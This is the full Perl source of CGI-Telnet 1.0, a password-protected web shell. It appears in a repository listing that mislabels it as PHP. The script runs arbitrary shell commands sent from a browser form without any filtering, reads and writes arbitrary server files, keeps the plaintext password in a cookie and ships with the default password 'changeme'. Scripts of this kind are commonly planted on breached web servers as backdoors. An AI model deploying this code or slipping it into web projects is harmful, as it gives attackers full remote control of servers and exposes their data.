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692 lines
23 KiB
PHP
692 lines
23 KiB
PHP
#!/usr/bin/perl
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#------------------------------------------------------------------------------
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# Copyright and Licence
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#------------------------------------------------------------------------------
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# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
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#
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# Copyright (C) 2001 Rohitab Batra
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# Permission is granted to use, distribute and modify this script so long
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# as this copyright notice is left intact. If you make changes to the script
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# please document them and inform me. If you would like any changes to be made
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# in this script, you can e-mail me.
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#
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# Author: Rohitab Batra
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# Author e-mail: rohitab@rohitab.com
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# Author Homepage: http://www.rohitab.com/
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# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
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# Product Support: http://www.rohitab.com/support/
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# Discussion Forum: http://www.rohitab.com/discuss/
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# Mailing List: http://www.rohitab.com/mlist/
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#------------------------------------------------------------------------------
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#------------------------------------------------------------------------------
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# Installation
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#------------------------------------------------------------------------------
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# To install this script
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#
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# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
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# your server. For most servers, you may not need to modify this.
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# 2. Change the password in the Configuration section below.
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# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
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# Configuration Section below.
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# 4. Upload the script to a directory on your server which has permissions to
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# execute CGI scripts. This is usually cgi-bin. Make sure that you upload
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# the script in ASCII mode.
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# 5. Change the permission (CHMOD) of the script to 755.
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# 6. Open the script in your web browser. If you uploaded the script in
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# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
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# 7. Login using the password that you specified in Step 2.
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#------------------------------------------------------------------------------
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#------------------------------------------------------------------------------
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# Configuration: You need to change only $Password and $WinNT. The other
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# values should work fine for most systems.
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#------------------------------------------------------------------------------
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$Password = "changeme"; # Change this. You will need to enter this
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# to login.
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$WinNT = 0; # You need to change the value of this to 1 if
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# you're running this script on a Windows NT
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# machine. If you're running it on Unix, you
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# can leave the value as it is.
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$NTCmdSep = "&"; # This character is used to seperate 2 commands
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# in a command line on Windows NT.
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$UnixCmdSep = ";"; # This character is used to seperate 2 commands
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# in a command line on Unix.
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$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
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# Don't set this to a very large value. This is
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# useful for commands that may hang or that
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# take very long to execute, like "find /".
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# This is valid only on Unix servers. It is
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# ignored on NT Servers.
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$ShowDynamicOutput = 1; # If this is 1, then data is sent to the
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# browser as soon as it is output, otherwise
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# it is buffered and send when the command
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# completes. This is useful for commands like
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# ping, so that you can see the output as it
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# is being generated.
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# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
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$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
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$CmdPwd = ($WinNT ? "cd" : "pwd");
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$PathSep = ($WinNT ? "\\" : "/");
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$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
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#------------------------------------------------------------------------------
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# Reads the input sent by the browser and parses the input variables. It
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# parses GET, POST and multipart/form-data that is used for uploading files.
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# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
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# Other variables can be accessed using $in{'var'}, where var is the name of
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# the variable. Note: Most of the code in this function is taken from other CGI
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# scripts.
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#------------------------------------------------------------------------------
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sub ReadParse
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{
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local (*in) = @_ if @_;
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local ($i, $loc, $key, $val);
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$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
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if($ENV{'REQUEST_METHOD'} eq "GET")
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{
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$in = $ENV{'QUERY_STRING'};
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}
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elsif($ENV{'REQUEST_METHOD'} eq "POST")
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{
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binmode(STDIN) if $MultipartFormData & $WinNT;
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read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
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}
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# handle file upload data
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if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
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{
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$Boundary = '--'.$1; # please refer to RFC1867
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@list = split(/$Boundary/, $in);
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$HeaderBody = $list[1];
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$HeaderBody =~ /\r\n\r\n|\n\n/;
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$Header = $`;
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$Body = $';
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$Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
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$in{'filedata'} = $Body;
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$Header =~ /filename=\"(.+)\"/;
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$in{'f'} = $1;
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$in{'f'} =~ s/\"//g;
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$in{'f'} =~ s/\s//g;
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# parse trailer
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for($i=2; $list[$i]; $i++)
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{
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$list[$i] =~ s/^.+name=$//;
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$list[$i] =~ /\"(\w+)\"/;
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$key = $1;
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$val = $';
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$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
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$val =~ s/%(..)/pack("c", hex($1))/ge;
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$in{$key} = $val;
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}
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}
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else # standard post data (url encoded, not multipart)
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{
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@in = split(/&/, $in);
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foreach $i (0 .. $#in)
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{
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$in[$i] =~ s/\+/ /g;
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($key, $val) = split(/=/, $in[$i], 2);
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$key =~ s/%(..)/pack("c", hex($1))/ge;
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$val =~ s/%(..)/pack("c", hex($1))/ge;
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$in{$key} .= "\0" if (defined($in{$key}));
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$in{$key} .= $val;
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}
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}
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}
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#------------------------------------------------------------------------------
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# Prints the HTML Page Header
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# Argument 1: Form item name to which focus should be set
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#------------------------------------------------------------------------------
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sub PrintPageHeader
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{
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$EncodedCurrentDir = $CurrentDir;
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$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
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print "Content-type: text/html\n\n";
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print <<END;
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
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<html>
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<head>
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<title>CGI-Telnet Version 1.0</title>
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$HtmlMetaHeader
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</head>
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<body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
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<table border="1" width="100%" cellspacing="0" cellpadding="2">
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<tr>
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<td bgcolor="#C2BFA5" bordercolor="#000080" align="center">
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<b><font color="#000080" size="2">#</font></b></td>
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<td bgcolor="#000080"><font face="Verdana" size="2" color="#FFFFFF"><b>CGI-Telnet Version 1.0 - Connected to $ServerName</b></font></td>
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</tr>
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<tr>
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<td colspan="2" bgcolor="#C2BFA5"><font face="Verdana" size="2">
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<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> |
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<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
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<a href="$ScriptLocation?a=logout">Disconnect</a> |
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<a href="http://www.rohitab.com/cgiscripts/cgitelnet.html">Help</a>
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</font></td>
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</tr>
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</table>
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<font color="#C0C0C0" size="3">
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END
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}
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#------------------------------------------------------------------------------
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# Prints the Login Screen
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#------------------------------------------------------------------------------
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sub PrintLoginScreen
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{
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$Message = q$<pre><font color="#669999"> _____ _____ _____ _____ _ _
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/ __ \| __ \|_ _| |_ _| | | | |
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| / \/| | \/ | | ______ | | ___ | | _ __ ___ | |_
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| | | | __ | | |______| | | / _ \| || '_ \ / _ \| __|
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| \__/\| |_\ \ _| |_ | | | __/| || | | || __/| |_
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\____/ \____/ \___/ \_/ \___||_||_| |_| \___| \__| 1.0
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</font><font color="#FF0000"> ______ </font><font color="#AE8300"><3E> 2001, Rohitab Batra</font><font color="#FF0000">
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.-" "-.
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/ \
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| |
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|, .-. .-. ,|
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| )(_o/ \o_)( |
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|/ /\ \|
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(@_ (_ ^^ _)
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_ ) \</font><font color="#808080">_______</font><font color="#FF0000">\</font><font color="#808080">__</font><font color="#FF0000">|IIIIII|</font><font color="#808080">__</font><font color="#FF0000">/</font><font color="#808080">_______________________
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</font><font color="#FF0000"> (_)</font><font color="#808080">@8@8</font><font color="#FF0000">{}</font><font color="#808080"><________</font><font color="#FF0000">|-\IIIIII/-|</font><font color="#808080">________________________></font><font color="#FF0000">
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)_/ \ /
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(@ `--------`
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</font><font color="#AE8300">W A R N I N G: Private Server</font></pre>
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$;
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#'
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print <<END;
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<code>
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Trying $ServerName...<br>
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Connected to $ServerName<br>
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Escape character is ^]
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<code>$Message
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END
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}
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#------------------------------------------------------------------------------
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# Prints the message that informs the user of a failed login
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#------------------------------------------------------------------------------
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sub PrintLoginFailedMessage
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{
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print <<END;
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<code>
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<br>login: admin<br>
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password:<br>
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Login incorrect<br><br>
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</code>
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END
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}
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#------------------------------------------------------------------------------
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# Prints the HTML form for logging in
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#------------------------------------------------------------------------------
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sub PrintLoginForm
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{
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print <<END;
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<code>
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<form name="f" method="POST" action="$ScriptLocation">
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<input type="hidden" name="a" value="login">
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login: admin<br>
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password:<input type="password" name="p">
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<input type="submit" value="Enter">
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</form>
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</code>
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END
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}
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#------------------------------------------------------------------------------
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# Prints the footer for the HTML Page
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#------------------------------------------------------------------------------
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sub PrintPageFooter
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{
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print "</font></body></html>";
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}
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#------------------------------------------------------------------------------
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# Retreives the values of all cookies. The cookies can be accesses using the
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# variable $Cookies{''}
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#------------------------------------------------------------------------------
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sub GetCookies
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{
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@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
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foreach $cookie(@httpcookies)
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{
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($id, $val) = split(/=/, $cookie);
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$Cookies{$id} = $val;
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}
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}
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#------------------------------------------------------------------------------
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# Prints the screen when the user logs out
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#------------------------------------------------------------------------------
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sub PrintLogoutScreen
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{
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print "<code>Connection closed by foreign host.<br><br></code>";
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}
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#------------------------------------------------------------------------------
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# Logs out the user and allows the user to login again
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#------------------------------------------------------------------------------
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sub PerformLogout
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{
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print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
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&PrintPageHeader("p");
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&PrintLogoutScreen;
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&PrintLoginScreen;
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&PrintLoginForm;
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&PrintPageFooter;
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}
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#------------------------------------------------------------------------------
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# This function is called to login the user. If the password matches, it
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# displays a page that allows the user to run commands. If the password doens't
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# match or if no password is entered, it displays a form that allows the user
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# to login
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#------------------------------------------------------------------------------
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sub PerformLogin
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{
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if($LoginPassword eq $Password) # password matched
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{
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print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
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&PrintPageHeader("c");
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&PrintCommandLineInputForm;
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&PrintPageFooter;
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}
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else # password didn't match
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{
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&PrintPageHeader("p");
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&PrintLoginScreen;
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if($LoginPassword ne "") # some password was entered
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{
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&PrintLoginFailedMessage;
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}
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&PrintLoginForm;
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&PrintPageFooter;
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}
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}
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#------------------------------------------------------------------------------
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# Prints the HTML form that allows the user to enter commands
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#------------------------------------------------------------------------------
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sub PrintCommandLineInputForm
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{
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$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
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print <<END;
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<code>
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<form name="f" method="POST" action="$ScriptLocation">
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<input type="hidden" name="a" value="command">
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<input type="hidden" name="d" value="$CurrentDir">
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$Prompt
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<input type="text" name="c">
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<input type="submit" value="Enter">
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</form>
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</code>
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END
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}
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#------------------------------------------------------------------------------
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# Prints the HTML form that allows the user to download files
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#------------------------------------------------------------------------------
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sub PrintFileDownloadForm
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{
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$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
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print <<END;
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<code>
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<form name="f" method="POST" action="$ScriptLocation">
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<input type="hidden" name="d" value="$CurrentDir">
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<input type="hidden" name="a" value="download">
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$Prompt download<br><br>
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Filename: <input type="text" name="f" size="35"><br><br>
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Download: <input type="submit" value="Begin">
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</form>
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</code>
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END
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}
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#------------------------------------------------------------------------------
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# Prints the HTML form that allows the user to upload files
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#------------------------------------------------------------------------------
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sub PrintFileUploadForm
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{
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$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
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print <<END;
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<code>
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<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
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$Prompt upload<br><br>
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Filename: <input type="file" name="f" size="35"><br><br>
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Options: <input type="checkbox" name="o" value="overwrite">
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Overwrite if it Exists<br><br>
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Upload: <input type="submit" value="Begin">
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<input type="hidden" name="d" value="$CurrentDir">
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<input type="hidden" name="a" value="upload">
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</form>
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</code>
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END
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}
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#------------------------------------------------------------------------------
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# This function is called when the timeout for a command expires. We need to
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# terminate the script immediately. This function is valid only on Unix. It is
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# never called when the script is running on NT.
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#------------------------------------------------------------------------------
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sub CommandTimeout
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{
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if(!$WinNT)
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{
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alarm(0);
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print <<END;
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</xmp>
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<code>
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Command exceeded maximum time of $CommandTimeoutDuration second(s).
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<br>Killed it!
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<code>
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END
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&PrintCommandLineInputForm;
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&PrintPageFooter;
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exit;
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}
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}
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#------------------------------------------------------------------------------
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# This function is called to execute commands. It displays the output of the
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# command and allows the user to enter another command. The change directory
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# command is handled differently. In this case, the new directory is stored in
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# an internal variable and is used each time a command has to be executed. The
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# output of the change directory command is not displayed to the users
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# therefore error messages cannot be displayed.
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#------------------------------------------------------------------------------
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sub ExecuteCommand
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{
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if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
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{
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# we change the directory internally. The output of the
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# command is not displayed.
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$OldDir = $CurrentDir;
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$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
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chop($CurrentDir = `$Command`);
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&PrintPageHeader("c");
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$Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
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print "<code>$Prompt $RunCommand</code>";
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}
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else # some other command, display the output
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{
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&PrintPageHeader("c");
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$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
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print "<code>$Prompt $RunCommand</code><xmp>";
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$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
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if(!$WinNT)
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{
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$SIG{'ALRM'} = \&CommandTimeout;
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alarm($CommandTimeoutDuration);
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}
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if($ShowDynamicOutput) # show output as it is generated
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{
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$|=1;
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$Command .= " |";
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open(CommandOutput, $Command);
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while(<CommandOutput>)
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{
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$_ =~ s/(\n|\r\n)$//;
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print "$_\n";
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}
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$|=0;
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}
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else # show output after command completes
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{
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print `$Command`;
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}
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if(!$WinNT)
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{
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alarm(0);
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}
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print "</xmp>";
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}
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&PrintCommandLineInputForm;
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&PrintPageFooter;
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}
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#------------------------------------------------------------------------------
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# This function displays the page that contains a link which allows the user
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# to download the specified file. The page also contains a auto-refresh
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# feature that starts the download automatically.
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# Argument 1: Fully qualified filename of the file to be downloaded
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#------------------------------------------------------------------------------
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sub PrintDownloadLinkPage
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{
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local($FileUrl) = @_;
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if(-e $FileUrl) # if the file exists
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{
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# encode the file link so we can send it to the browser
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$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
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$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
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$HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
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&PrintPageHeader("c");
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print <<END;
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<code>
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Sending File $TransferFile...<br>
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If the download does not start automatically,
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<a href="$DownloadLink">Click Here</a>.
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</code>
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END
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&PrintCommandLineInputForm;
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&PrintPageFooter;
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}
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else # file doesn't exist
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{
|
||
&PrintPageHeader("f");
|
||
print "<code>Failed to download $FileUrl: $!</code>";
|
||
&PrintFileDownloadForm;
|
||
&PrintPageFooter;
|
||
}
|
||
}
|
||
|
||
#------------------------------------------------------------------------------
|
||
# This function reads the specified file from the disk and sends it to the
|
||
# browser, so that it can be downloaded by the user.
|
||
# Argument 1: Fully qualified pathname of the file to be sent.
|
||
#------------------------------------------------------------------------------
|
||
sub SendFileToBrowser
|
||
{
|
||
local($SendFile) = @_;
|
||
if(open(SENDFILE, $SendFile)) # file opened for reading
|
||
{
|
||
if($WinNT)
|
||
{
|
||
binmode(SENDFILE);
|
||
binmode(STDOUT);
|
||
}
|
||
$FileSize = (stat($SendFile))[7];
|
||
($Filename = $SendFile) =~ m!([^/^\\]*)$!;
|
||
print "Content-Type: application/x-unknown\n";
|
||
print "Content-Length: $FileSize\n";
|
||
print "Content-Disposition: attachment; filename=$1\n\n";
|
||
print while(<SENDFILE>);
|
||
close(SENDFILE);
|
||
}
|
||
else # failed to open file
|
||
{
|
||
&PrintPageHeader("f");
|
||
print "<code>Failed to download $SendFile: $!</code>";
|
||
&PrintFileDownloadForm;
|
||
&PrintPageFooter;
|
||
}
|
||
}
|
||
|
||
|
||
#------------------------------------------------------------------------------
|
||
# This function is called when the user downloads a file. It displays a message
|
||
# to the user and provides a link through which the file can be downloaded.
|
||
# This function is also called when the user clicks on that link. In this case,
|
||
# the file is read and sent to the browser.
|
||
#------------------------------------------------------------------------------
|
||
sub BeginDownload
|
||
{
|
||
# get fully qualified path of the file to be downloaded
|
||
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
|
||
(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
|
||
{
|
||
$TargetFile = $TransferFile;
|
||
}
|
||
else # path is relative
|
||
{
|
||
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
|
||
$TargetFile .= $PathSep.$TransferFile;
|
||
}
|
||
|
||
if($Options eq "go") # we have to send the file
|
||
{
|
||
&SendFileToBrowser($TargetFile);
|
||
}
|
||
else # we have to send only the link page
|
||
{
|
||
&PrintDownloadLinkPage($TargetFile);
|
||
}
|
||
}
|
||
|
||
#------------------------------------------------------------------------------
|
||
# This function is called when the user wants to upload a file. If the
|
||
# file is not specified, it displays a form allowing the user to specify a
|
||
# file, otherwise it starts the upload process.
|
||
#------------------------------------------------------------------------------
|
||
sub UploadFile
|
||
{
|
||
# if no file is specified, print the upload form again
|
||
if($TransferFile eq "")
|
||
{
|
||
&PrintPageHeader("f");
|
||
&PrintFileUploadForm;
|
||
&PrintPageFooter;
|
||
return;
|
||
}
|
||
&PrintPageHeader("c");
|
||
|
||
# start the uploading process
|
||
print "<code>Uploading $TransferFile to $CurrentDir...<br>";
|
||
|
||
# get the fullly qualified pathname of the file to be created
|
||
chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
|
||
$TransferFile =~ m!([^/^\\]*)$!;
|
||
$TargetName .= $PathSep.$1;
|
||
|
||
$TargetFileSize = length($in{'filedata'});
|
||
# if the file exists and we are not supposed to overwrite it
|
||
if(-e $TargetName && $Options ne "overwrite")
|
||
{
|
||
print "Failed: Destination file already exists.<br>";
|
||
}
|
||
else # file is not present
|
||
{
|
||
if(open(UPLOADFILE, ">$TargetName"))
|
||
{
|
||
binmode(UPLOADFILE) if $WinNT;
|
||
print UPLOADFILE $in{'filedata'};
|
||
close(UPLOADFILE);
|
||
print "Transfered $TargetFileSize Bytes.<br>";
|
||
print "File Path: $TargetName<br>";
|
||
}
|
||
else
|
||
{
|
||
print "Failed: $!<br>";
|
||
}
|
||
}
|
||
print "</code>";
|
||
&PrintCommandLineInputForm;
|
||
&PrintPageFooter;
|
||
}
|
||
|
||
#------------------------------------------------------------------------------
|
||
# This function is called when the user wants to download a file. If the
|
||
# filename is not specified, it displays a form allowing the user to specify a
|
||
# file, otherwise it displays a message to the user and provides a link
|
||
# through which the file can be downloaded.
|
||
#------------------------------------------------------------------------------
|
||
sub DownloadFile
|
||
{
|
||
# if no file is specified, print the download form again
|
||
if($TransferFile eq "")
|
||
{
|
||
&PrintPageHeader("f");
|
||
&PrintFileDownloadForm;
|
||
&PrintPageFooter;
|
||
return;
|
||
}
|
||
|
||
# get fully qualified path of the file to be downloaded
|
||
if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
|
||
(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
|
||
{
|
||
$TargetFile = $TransferFile;
|
||
}
|
||
else # path is relative
|
||
{
|
||
chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
|
||
$TargetFile .= $PathSep.$TransferFile;
|
||
}
|
||
|
||
if($Options eq "go") # we have to send the file
|
||
{
|
||
&SendFileToBrowser($TargetFile);
|
||
}
|
||
else # we have to send only the link page
|
||
{
|
||
&PrintDownloadLinkPage($TargetFile);
|
||
}
|
||
}
|
||
|
||
#------------------------------------------------------------------------------
|
||
# Main Program - Execution Starts Here
|
||
#------------------------------------------------------------------------------
|
||
&ReadParse;
|
||
&GetCookies;
|
||
|
||
$ScriptLocation = $ENV{'SCRIPT_NAME'};
|
||
$ServerName = $ENV{'SERVER_NAME'};
|
||
$LoginPassword = $in{'p'};
|
||
$RunCommand = $in{'c'};
|
||
$TransferFile = $in{'f'};
|
||
$Options = $in{'o'};
|
||
|
||
$Action = $in{'a'};
|
||
$Action = "login" if($Action eq ""); # no action specified, use default
|
||
|
||
# get the directory in which the commands will be executed
|
||
$CurrentDir = $in{'d'};
|
||
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
|
||
|
||
$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
|
||
|
||
if($Action eq "login" || !$LoggedIn) # user needs/has to login
|
||
{
|
||
&PerformLogin;
|
||
}
|
||
elsif($Action eq "command") # user wants to run a command
|
||
{
|
||
&ExecuteCommand;
|
||
}
|
||
elsif($Action eq "upload") # user wants to upload a file
|
||
{
|
||
&UploadFile;
|
||
}
|
||
elsif($Action eq "download") # user wants to download a file
|
||
{
|
||
&DownloadFile;
|
||
}
|
||
elsif($Action eq "logout") # user wants to logout
|
||
{
|
||
&PerformLogout;
|
||
}
|